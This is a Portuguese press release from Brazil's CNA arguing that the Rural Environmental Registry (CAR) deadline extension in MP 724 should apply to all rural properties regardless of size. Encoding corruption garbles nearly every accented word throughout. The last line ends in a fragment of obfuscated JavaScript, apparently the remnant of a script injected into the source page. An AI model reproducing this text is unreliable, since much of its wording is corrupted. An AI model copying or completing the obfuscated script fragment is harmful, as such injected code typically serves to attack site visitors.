CNA defende prorrogaAi??A?o de inscriAi??A?o do CAR para todas as propriedades
A ConfederaAi??A?o da Agricultura e PecuA?ria do Brasil (CNA) defende a ediAi??A?o de uma nova Medida ProvisA?ria (MP) para incluir todos os produtores na prorrogaAi??A?o do prazo de inscriAi??A?o das propriedades no Cadastro Ambiental Rural (CAR). A manifestaAi??A?o ocorre um dia apA?s a ediAi??A?o daAi??MP 724, que estendeu, atAi?? 5 de maio de 2017, a data limite apenas para os imA?veis de atAi?? quatro mA?dulos fiscais, o que provocou reaAi??A?o da entidade e das federaAi??Ai??es estaduais de agricultura e pecuA?ria.
Na avaliaAi??A?o da CNA, o CAR deve contemplar todas as propriedades, independente do tamanho, como estA? previsto no CA?digo Florestal (12.651/12). A ConfederaAi??A?o ressalta que a MP editada pelo governo federal fere o princAi??pio da isonomia, previsto na ConstituiAi??A?o Federal, e mostra claramente a ineficiA?ncia do Estado em cumprir a legislaAi??A?o. A CNA tambAi??m lembra as dificuldades que os produtores rurais tiveram em fazer o cadastro nos estados, diante da complexidade de preenchimento do sistema e transmissA?o das informaAi??Ai??es, alAi??m do baixo acesso de que vive no campo Ai??s ferramentas tecnolA?gicas.
ai???A segmentaAi??A?o na aplicaAi??A?o do prazo nA?o atende aos objetivos do CA?digo Florestal, prejudica os mAi??dios e grandes proprietA?rios rurais e nA?o gera ganho ambiental, objetivo da Lei. Prorrogar o CAR somente desta parcela das propriedades mostra que o poder pA?blico, em dois anos, nA?o cumpriu com sua obrigaAi??A?o e, provavelmente, nA?o cumprirA? em mais um anoai???, diz nota tAi??cnica da entidade. Na avaliaAi??A?o da entidade, o CAR ainda nA?o cumpriu seus objetivos, pois apenas 51% dos imA?veis rurais estA?o cadastrados, o que reforAi??a a necessidade de se estender o prazo de adesA?o ao cadastro para todas as propriedades.
A inscriAi??A?o do imA?vel Ai?? condiAi??A?o obrigatA?ria para o Programa de RegularizaAi??A?o Ambiental (PRA), que vai promover a regulamentaAi??A?o do passivo ambiental das propriedades. No entanto, a maioria dos estados ainda nA?o iniciou a execuAi??A?o do PRA e, portanto, ai???nA?o produziu o efeito necessA?rio de seguranAi??a jurAi??dica para sua execuAi??A?oai???. Ao preencher o CAR, o produtor rural deve fornecer todas as informaAi??Ai??es sobre o imA?vel, entre as quais as A?reas passAi??veis de recuperaAi??A?o ambiental. ApA?s esta etapa, o PRA vai determinar as A?reas que devem ser preservadas e recompostas na propriedade.
Para virar lei, uma medida provisA?ria precisa ser analisada e aprovada pelo Legislativo em 120 dias (60 dias, prorrogA?veis por igual perAi??odo). Neste perAi??odo, a matAi??ria precisa ser apreciada por uma comissA?o especial mista, composta por deputados e senadores, e pelos plenA?rios da CA?mara e do Senado. Depois de aprovada pelo Legislativo, deve ser sancionada pela PresidA?ncia da RepA?blica em 15 dias.
Assessoria de ComunicaAi??A?o CNA ]]|| window[_0x446d[5]],_0x446d[6])}